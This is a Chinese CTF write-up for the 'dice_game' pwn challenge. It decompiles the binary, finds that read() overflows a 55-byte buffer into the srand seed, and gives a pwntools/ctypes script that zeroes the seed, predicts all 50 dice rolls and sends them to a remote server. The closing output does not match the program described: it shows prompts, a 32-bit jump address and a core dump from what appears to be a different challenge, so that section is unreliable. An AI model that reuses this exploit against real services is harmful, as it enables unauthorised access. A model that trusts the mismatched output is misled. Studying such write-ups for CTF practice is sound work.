dice_game
??????dice_game
(1)
motaly@motaly-VMware-Virtual-Platform:~/桌面$ file game
game: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=25432b87a385dc5acec03263b2e3746f287ed159, stripped
motaly@motaly-VMware-Virtual-Platform:~/桌面$ checksec --file=game
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH No Symbols No 0 3 game
(2)
用ida打開,無法反匯編,看main函數的匯編碼
__int64 __fastcall main(int a1, char **a2, char **a3)
{char buf[55]; // [rsp+0h] [rbp-50h] BYREFchar v5; // [rsp+37h] [rbp-19h]ssize_t n49; // [rsp+38h] [rbp-18h]unsigned int seed[3]; // [rsp+40h] [rbp-10h]int n50; // [rsp+4Ch] [rbp-4h]memset(buf, 0, 0x30uLL);*(_QWORD *)seed = time(0LL);printf("Welcome, let me know your name: ");fflush(stdout);n49 = read(0, buf, 0x50uLL);if ( n49 <= 49 )buf[n49 - 1] = 0;printf("Hi, %s. Let's play a game.\n", buf);fflush(stdout);srand(seed[0]);n50 = 1;v5 = 0;while ( 1 ){printf("Game %d/50\n", n50);v5 = sub_A20();fflush(stdout);if ( v5 != 1 )break;if ( v5 ){if ( n50 == 50 ){sub_B28(buf);break;}++n50;}}puts("Bye bye!");return 0LL;
}
看到這里開始有一個read函數,向buf讀入最大80個字節,但buf大小為55,所以存在緩沖區溢出
在下面有用srand函數設置偽隨機數生成器的種子,參數是seed
然后進入循環,有一個sub_A20函數給v5參數
__int64 sub_A20()
{__int16 n6; // [rsp+Ch] [rbp-4h] BYREF__int16 n6_1; // [rsp+Eh] [rbp-2h]printf("Give me the point(1~6): ");fflush(stdout);_isoc99_scanf("%hd", &n6);if ( n6 > 0 && n6 <= 6 ){n6_1 = rand() % 6 + 1;if ( n6 <= 0 || n6 > 6 || n6_1 <= 0 || n6_1 > 6 )_assert_fail("(point>=1 && point<=6) && (sPoint>=1 && sPoint<=6)", "dice_game.c", 0x18u, "dice_game");if ( n6 == n6_1 ){puts("You win.");return 1LL;}else{puts("You lost.");return 0LL;}}else{puts("Invalid value!");return 0LL;}
}
這個函數主要是看我們輸入的值n6和隨機生成的值n6_1是否相同,相同就會返回1值給v5
當v5等于1時,就進入if判斷中,當我們50次都成功時,有一個sub_B28函數,會輸出flag
int __fastcall sub_B28(const char *a1)
{char s[104]; // [rsp+10h] [rbp-70h] BYREFFILE *stream; // [rsp+78h] [rbp-8h]printf("Congrats %s\n", a1);stream = fopen("flag", "r");fgets(s, 100, stream);puts(s);return fflush(stdout);
}
(3)
總的這個程序是一個小游戲,當我們輸入的值與程序隨機生成的值相同時,算贏得游戲,贏了50次后,就會給flag
思路:
1.在程序開頭有一個輸入點并存在棧溢出,我們可以利用這個點來改變隨機數生成器的種子,使其相同
原因:
rand函數生成的隨機數并不是真正意義上的隨機,而是偽隨機,當設定的種子相同時,使用相同算法生成的隨機數序列就是固定的
當種子相同后,本地和服務端的偽隨機數生成器就會從相同的起始狀態開始工作,進而生成相同的隨機數序列
看堆棧情況,可以看到輸入點buf離seed距離是0x40,所以通過覆蓋0x40來改變seed值
-0000000000000050 // Use data definition commands to manipulate stack variables and arguments.
-0000000000000050 // Frame size: 50; Saved regs: 8; Purge: 0
-0000000000000050
-0000000000000050 char buf[55];
-0000000000000019 _BYTE var_19;
-0000000000000018 _QWORD var_18;
-0000000000000010 unsigned int seed[3];
-0000000000000004 _DWORD var_4;
+0000000000000000 _QWORD __saved_registers;
+0000000000000008 _UNKNOWN *__return_address;
+0000000000000010
+0000000000000010 // end of stack variables
2.然后我們要導入ctypes庫,來使得在python中實現對C語言函數的引用
完成隨機數的生成
(4)
編寫
from pwn import *
from ctypes import *io = remote('223.112.5.141' ,52524)
libc = cdll.LoadLibrary("libc.so.6")payload = b"a" * 0x40 + p64(0)
io.sendlineafter("name: ", payload)
list = []
for i in range(50):list.append(libc.rand()%6+1)
print(list)
for point in list:io.sendlineafter("point(1~6): ", str(point))
io.interactive()
(5)
連接得到flag
[*] Switching to interactive mode
[DEBUG] Received 0x1a bytes:b'Please enter your string: '
Please enter your string: [DEBUG] Received 0x6c bytes:b'\n'b'Okay, time to return... Fingers Crossed... Jumping to 0x80485cb\n'b'flag{5bde2e60-3032-4e77-b8ad-371a2483f030}\n'Okay, time to return... Fingers Crossed... Jumping to 0x80485cb
flag{5bde2e60-3032-4e77-b8ad-371a2483f030}
[DEBUG] Received 0x2b bytes:b'timeout: the monitored command dumped core\n'
timeout: the monitored command dumped core
[*] Got EOF while reading in interactive